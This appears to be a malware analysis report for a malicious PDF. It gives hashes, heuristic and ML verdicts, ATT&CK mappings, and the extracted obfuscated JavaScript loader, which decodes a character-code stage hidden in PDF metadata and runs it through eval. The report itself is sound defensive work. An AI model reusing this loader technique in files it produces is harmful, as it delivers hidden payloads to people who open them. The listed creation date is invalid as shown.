Malicious PDF — malware analysis report

Static analysis result for SHA-256 941d6c02556bbc5a…

MALICIOUS

PDF

17.9 KB Created: 2011-72-51 03:25:00 Authoring application: String.fromCharCode First seen: 2026-05-09
MD5: a3218b4eba5259aa2e1a56ec76cee1e6 SHA-1: 33532d9756e1bfab5c242cb23c35e51fe293a2a4 SHA-256: 941d6c02556bbc5a9750c662d794d8814f91e374ab2376618ca05d60a7b2f04d
154 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier strongly suggests maliciousness. The JavaScript stream, named 'javascript_obj0001_000.js', is likely responsible for executing the malicious payload. The use of String.fromCharCode further suggests obfuscation techniques common in malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /Producer (String.fromCharCode)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x457E 344 bytes
SHA-256: 091181a5fce5a45c6ad7da9ead0f57dbe9e746913d5f0df82ecd365c0dfa9e90
Preview script
First 1,000 lines of the extracted script
var w = 4;
var xaaye = this.title.replace(/w/g,'*w,');
xaaye = xaaye.replace(/t/g,'2');
xaaye=xaaye.substr(0,xaaye.length-2) + ']';
jcy=function(){return this}();
ybiyt=jcy[this.subject];
czz=ybiyt(this.producer);
pwn = ybiyt(xaaye);
var s = '';
for (i = 0; i < pwn.length; i++) {
	zlemh = pwn[i];
	s += czz(zlemh);
}
ybiyt(s);

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